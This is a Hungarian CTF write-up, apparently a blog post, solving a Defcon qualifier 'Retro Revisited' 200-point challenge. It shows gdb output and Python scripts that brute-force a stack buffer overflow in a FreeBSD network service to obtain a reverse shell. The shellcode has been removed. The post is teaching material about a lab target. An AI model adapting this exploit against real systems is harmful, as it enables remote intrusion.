Szerencsére a Defcon selejtezőn nem csak Földtől teljesen elrugaszkodott feladatok szerepeltek. Depth a Retro Revisited feladatoknak ment neki, és miután a 100-as pályán szereplő "____-___-______" rejtélyes kérdésre ördögi logikával megadta a helyes választ (hack-the-planet), lezúzta a 200-as és a 300-as szinteket is. Alant a 200 pontot érő pálya megoldása olvasható:
+++
A feladvány letöltése után, megvizsgáltam a kapott fájlt:
root@BackTrack4:~/defcon# file rr200_a6ba4f074d34ae81def3168c6brr200_a6ba4f074d34ae81def3168c6b: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped
Első problémával sikerült szembesülni nem volt kéznél FreeBSD operációs rendszer. Szerencsére a www.thoughtpolice.co.uk oldalon remek előre elkészített VMware imagek állnak rendelkezésre.
A letöltés, konfigurálás valamint a szükséges eszközök beszerzése után vizsgáltam meg közelebbről a binárist. Elindítása után a 9999/TCP porton lehetett hozzá csatlakozni.
# netstat -an | grep LISTENtcp4 0 0 *.9999 *.* LISTENtcp4 0 0 127.0.0.1.25 *.* LISTENtcp4 0 0 *.22 *.* LISTENtcp6 0 0 *.22 *.* LISTEN
Kapcsolatkezdeményezés után az alábbi támadási megoldással próbálkoztam:
root@BackTrack4:~/defcon# perl -e 'print "A"x512' | nc -vv 192.168.1.113 9999192.168.1.113: inverse host lookup failed: Unknown server error : Connection timed out(UNKNOWN) [192.168.1.113] 9999 (?) openHans Brix? Oh no! Oh, herro. Great to see you again, Hans! Hans Brix says: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"sent 512, rcvd 334
A bináris futottt tovább, semmilyen memória felülírás nem történt (látszólag). Jobban megvizsgálva a kódot (objdump) látható,hogy gyermek folyamatban történik a kliensek kiszolgálása.
Mivel a debuggerben a set follow-fork-mode child megoldás valami csoda miatt nem akart műküdni így a következő megoldást választottam:
#!/usr/bin/pythonimport socketimport timeimport structimport stringpadding = "A" * 512s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=s.connect(('192.168.1.113',9999)) # hardcoded IP addressdata = s.recv(1024)print str(data)time.sleep(10)s.send(padding) # send the datas.close()
A fenti python script segítségével tudtam adatot küldeni valamit elég időt allokálni magamnak arra, hogy a gyermek folyamathoz gdb segítségével tudjak csatlakozni. A gyorsaság és praktikusság miatt egy ronda shell scriptet készítettem az automatizáláshoz:
# set PID=`ps a | grep rr200 | grep -v grep | tail -1 | awk '{print $1}'` ; gdb -q rr200_a6ba4f074d34ae81def3168c6b --pid=$PID(no debugging symbols found)...Attaching to program: /root/rr200_a6ba4f074d34ae81def3168c6b, process 1024Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.Loaded symbols for /lib/libc.so.6Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)...done.Loaded symbols for /usr/libexec/ld-elf.so.10x281024e5 in recvfrom () from /lib/libc.so.6(gdb) cContinuing.Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()
Remek. Szóval ha minden jól megy vanilla stack overflow problémát kell kihasználni. Ellenőrizzük a rendelkezésre álló helyet, valamint merre is helyezkedünk el a memóriában:
(gdb) x/64x $esp-4000xbfbfeaf0: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb00: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb10: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb20: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb30: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb40: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb50: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb60: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeb70: 0x736e6148 0x69724220 0x61732078 0x203a73790xbfbfeb80: 0x41414122 0x41414141 0x41414141 0x414141410xbfbfeb90: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfeba0: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfebb0: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfebc0: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfebd0: 0x41414141 0x41414141 0x41414141 0x414141410xbfbfebe0: 0x41414141 0x41414141 0x41414141 0x41414141
A metasploit pattern_create és pattern_offset ruby scriptjei segítségével meg lehet határozni mekkora a pontos eltolás amivel felül tudjuk írni az EIP-et a kívánt értékkel (out of scope goto offsec 101 ;) ).
Mivel a távoli gép stackjét nem tudjuk pontosan így érdemes egy bruteforce megoldással kitalálni a megfelelő visszatérési címet:
#!/usr/bin/pythonimport socketimport timeimport structimport stringshell = (# kiszedtem mert nem public IP cím volt a shellcodeban :))padding = "\x90" * 8for i in range(1,255,4):eip = struct.pack('<L',0xbfbfea60+i)tmp = "\x90" * (251 - len(padding) - len(shell))buffer = padding + shell + tmp + eip + "C" * 512s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=s.connect(('192.168.1.113',9999)) # hardcoded IP addressdata = s.recv(1024)s.send(buffer) # send the datadata = s.recv(1024)print datas.close()
A támadó gépen egy netcat listenert nyitva - valamint reverse payloaddal - 10mp-en belül shellt kell kapjunk(és 200pontot).
